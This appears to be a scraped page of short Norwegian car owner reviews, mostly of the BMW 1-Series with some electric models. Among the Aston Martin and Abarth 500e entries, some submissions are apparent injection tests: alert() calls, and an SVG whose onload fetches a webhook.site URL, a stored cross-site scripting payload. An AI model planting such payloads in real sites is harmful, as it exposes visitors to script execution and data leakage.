BMW 1-Serie (2015)

Morsom bil for unge voksne som ikke helt har råd til M fra samme merke. Bilen er utrolig leken, og man får en del økning i effekt bare med steg 1 tuning

BMW 1-Serie (2015)

Gleder meg over god kjørekomfort, varme i ratt og gode seter

BMW 1-Serie (2015)

Grei bil for 2 stk, kan ha passasjerer i baksetet men den er ikke god å komme inn og ut av , kjørte vestlandet i sommer med den, helt suveren på svingete veier, og for en akselerasjon !! 400nm ster

BMW 1-Serie (2014)

Mere moro til 400k skal du lete lenge etter. 0-100 4,7 sek.

BMW 1-Serie (2014)

god å kjøre, høyt forbruk, automaten "kaster" inn 2. gir automaten er kald. Kjørefølelsen gjør at bilen fremdeles ikke er byttet ut

BMW 1-Serie (2014)

ok

BMW 1-Serie (2014)

Fantastisk morsom bil og kjøre. Sterk i bunn, moment nesten som liten Diesel motor. Praktiske løsningar som 40/20/40 baksete er meget praktisk. Kjekt viss en skal ha med ski. 100% problemfri etter

BMW 1-Serie (2013)

Fantastisk bil, strålende fornøyd. Beste bilen jeg har eid så langt. Utrolig gode xenonlys, bra stereo selv om det er standardstereo.

BMW 1-Serie (2013)

Fantastisk bil både sommer og vinter. Suverene kjøreegenskaper og sportssetene passer perfekt.

BMW 1-Serie (2013)

Fantastisk pendlerbil som både er økonomisk og svært god å kjøre! Forbruket var imponerende i seg selv, men etter at jeg optimaliserte motoren fra 116hk til 190hk ble den enda mer økonomisk.

BMW 1-Serie (2013)

Morsom bil å kjøre, remappet til 180 hk som alle burde egentlig gjøre.

BMW 1-Serie (2013)

Kompakt uten skrammel. Suveren på veien om du liker det litt småsvingete. 114 utgaven mangler en del krefter for å virkelig kjenne på kjøreopplevelsen.

BMW 1-Serie (2013)

Totalt sett fornøyd med bilen. Har ikke gitt meg noen store overraskelser på 80000 km

BMW 1-Serie (2013)

Artig bil med sporty kjøreegenskaper, sportsseter, kjapp automat og sportsprogram er en suveren kombinasjon.

BMW 1-Serie (2013)

Sprek herlig bil! God på vinterføre. Masse kjøreglede

Renault 5 E-Tech (2025)

Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Aston Martin DB9 GT (2017)

alert("total")

Aston Martin DB9 GT (2017)

totalvurderingtest

Abarth 500e (2024)

Abarth 500e (2024)

Abarth 500e (2024)

xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.

Ford Kuga (2021)

Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring

Hongqi E-HS9 (2022)

Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!

Mercedes-Benz EQC (2022)

Topp komfort og driftsikker.

Polestar 2 (2022)

God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h

Mercedes-Benz GLE (2020)

Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km